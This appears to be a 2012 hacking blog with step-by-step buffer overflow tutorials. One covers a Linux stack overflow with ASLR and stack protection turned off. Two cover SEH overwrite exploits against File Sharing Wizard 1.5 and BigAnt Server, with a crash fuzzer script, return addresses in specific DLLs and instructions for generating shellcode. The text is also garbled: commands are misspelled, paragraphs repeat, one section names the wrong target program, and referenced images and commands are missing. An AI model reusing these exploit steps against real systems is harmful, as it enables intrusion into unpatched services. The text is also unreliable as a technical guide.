DUMMIES HACKED

Jumat, 24 Februari 2012

LINUX EXPLOIT - STACK OVERFLOW

before we start the exploitation of linux, we turn off ASRL with the type as shown below
cat /proc/sys/kernel/randomize_va_space --> to see if still alive
echo 0 > /proc/sys/kernel/randomize_va_space --> is to turn off ASRL
cat /proc/sys/kernel/randomize_va_space

then we started to make our fuzzer as follows
// I am a vulnerable thing.
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv)
{
char buffer[500];
strcpy(buffer, argv[1]); // Vulnerable function!
return 0;
}
then save it with the extended fuzzer .c

after that we started to compile fuzzer with the command
gcc -ggdb -o (name after compile) (location file)
example
gcc -ggdb -o coba Desktop/ardy.c
and you type
gdb coba to open compile

after that typing the following command
gcc -ggdb -o coba -fno-stack-protector -mpreferred-stack-boundary=2 Desktop/ardy.c --> to turn off SSP by adding script -fno-stack-protector when it is compiled
after that open the gdb
gdb coba
Now we try to overwrite the EIP with the following command
run $(python -c 'print "\x41" * 505')
run $(python -c 'print "\x41" * 508')
info registers eip --> to see if the EIP is overwrite by 41414141

for more detail see the EIP which was hit by type
info registrasi
and you type
x/10x $esp - 40
x/10x $esp - 50

after that type "list" to place a breakpoint
on break 8 means we put a break on line 8
after that type
run give me esp
info register esp
run show esp
info register esp

well above we already know the address of the ESP is 0xbffff17c after that we reduce to 200 and the result is 0xbfff07c.
now we will compile the script than execute it followed by the command you wish it to execute.
with type ./sc_generator /bin/bas
before it is to simplify the manufacture of the shellcode download used to generate shellcode

then open your dbg and ktik following command
run $(python 'print "\x90" * 323 + "(shellcode that had)" + "(EIP addresses that have been reduced)" * 35')
here 323 + 45 bytes of lenght = 368 bytes shellcode
after the last byte 508 - 368 bytes = 140 bytes
well now we divide 140 : 4 = 35.
4 that we get from \ X41 \ X41 \ X41 \ X41 These are calculated 4 byte
and when the enter key as we get the result below

Rabu, 22 Februari 2012

SEH AND SafeSEH - EXPLOIT
FILE SHARING WIZARD

BUFFER OVERFLOW

First we'll find out in advance where we target our target here is the File Sharing Wizard 1.5
then you open the first file share application and click start.

Here we will find that where we are attacked, we will use wireshark to see from the data transmission peroses and receiving data.

below we can see that at 200 we replace it with a buffer so that we coud get the following script
tests = (' % s HTTP/1.1 \ r \ n ' ' \ r \ n')% (buffer)
%s here in the python language interpreted for the string.

then make a fuzzer to buffer 1500 ...
If you would like more could have been ..

and the script tes=( ' %s HTTP/1.1\r\n'

'\r\n') % (buffer). We can do this script from the results of our sniffing using wireshark

after you save the fuzzer above,
then you can open the file sharing application wiard and click start.

after that open OllyDbg click file -> attack, then select File Share and the attack.
after that you can just click run and you run the fuzzer

can you click vew --> SEH chain, than here you can see 414 141 SEH chain is at
Now we will forward data from the SEH chain into memory by pressing shift + F9

and you see EIP with overwrite 4144141

and you can make the pattern for 1500 byte with the following command

copy the pattern into your fuzzer

after the close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain and you can press Shift + F9

and you see EIP with overwrite

then you can calculate how much the EIP is to find out how much the buffer that will be needed.

can you edit fuzzer with replace buffer and you save.

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain. here made it into the buffer in the SE handler

Here we will determine the module which we will use, You can click view --> excuttable module.
we use only the oledlg.dll

to perform the reading function DllCharactristic which resides in oledlg.dll module you can copy the file oledlg.dll are on xp transferred to your system Backtrack. And you can make such an order under this :

then we find the location of the command POP, POP RETN in the module. you can click --> view --> Excutable module --> double click right on a file you can enter oledlg.dll.setelah click right --> search for --> squence of command

you can fill out the same as below and then click find

edit return buffer is \ X41 \ X41 \ X41 \ X41 with the address in memory oledlg.dll is 7DF725FF

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain. here made it into the buffer in the SE handler

after that you can press Shift + F9 and the look is the result ...

here I've tried modules one at a time but not at the address SEH with EIP address when you press
shift + F9 .. if we continue to be gratuitous.

Jumat, 17 Februari 2012

SEH AND SafeSEH - EXPLOIT BIGANT SERVER

BUFFER OVERFLOW

Here we will try to exploit BigAnt Server with SEH.
we start with create a fuzzer like the script below :

#!/usr/bin/pyton

import socket

iptar ="192.168.56.101"

port=6660

buffer="USV "

buffer+="\x41" * 2500

buffer+="\r\n\r\n"

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=sock.connect((iptar ,port))

sock.send(buffer)

sock.close()

then open the application BigAnt Server,
click on a service run and you can control click restart after that click start when it first click on the port 6660, open OllyDbg you continue to click file --> attack Antserver, and you can runing

here you can see that the ESP has been affected

can you click vew --> SEH chain, than here you can see 414 141 SEH chain is at
Now we will forward data from the SEH chain into memory by pressing shift + F9

and you see EIP with overwrite 4144141

to see the data that is in the application memory
you can click Right on the line stack AAAAAAAAAA --> Follow in Dump as shown in the picture below

Here we will determine the module which we will use, You can click view --> excuttable module.
we use only the Vbeajet32.dll

to perform the reading function DllCharactristic which resides in vbajet32.dll module you can copy the file vbajet32.dll are on xp transferred to your system Backtrack. And you can make such an order under this :

then we find the location of the command POP, POP RETN in the module. you can click --> view --> Excutable module --> double click right on a file you can enter vbajet32.dll.setelah click right --> search for --> squence of command

you can fill out the same as below and then click find

here OllyDbg have found vbajet32.dll address in memory, you can note that the POP EBP is worth how much ....

and you can make the pattern for 2500 byte with the following command

copy the pattern into your fuzzer, after the close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain and you can press Shift + F9

below we can see the value of EIP

then you can calculate how much the EIP is to find out how much the buffer that will be needed.

can you edit fuzzer with replace buffer and you save.

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain. here made it into the buffer in the SE handler

edit return buffer is \ X41 \ X41 \ X41 \ X41 with the address in memory vbajet32.dll is 0F9A196A ......

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain. here made it into the buffer in the SE handler

later press shift + F9 to continue the process into memory vbajet32.dll, and press again F7 until you reach the command RETN

to find the memory address space that has a greater click right --> the address 013FFD7C --> Follow in Dump --> Selection

will appear as shown below

we will create shellcode, open your browser but before that activate msfweb you first.

input the same as below.

will appear like this after generated

copy the payload into your fuzzer

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain. here we can see the SE handler to 90909090

we try to eliminate the buffer that contains the payload after it and close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain. was SE handler looks back to the original address.

Here we'll send a character dummies UpCode from \ x01 to \ xFF, but that does not generate a bad character 00, 0a and 0d then insert it into the script with the command below.

after that copy the first line in UpCode that's been made

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain.

Here you add another two lines UpCode on your fuzzer

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain.

and dummies for the return character to add shellcode \ x20 as a bad character in the script
and copy into your fuzzer

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain.

after that we checked the bad character in the buffer by

close OllyDbg and BigAnt applications, and then you go back same way as above. after that click open the SEH chain. and you can plug in the address of SEH breackpoint.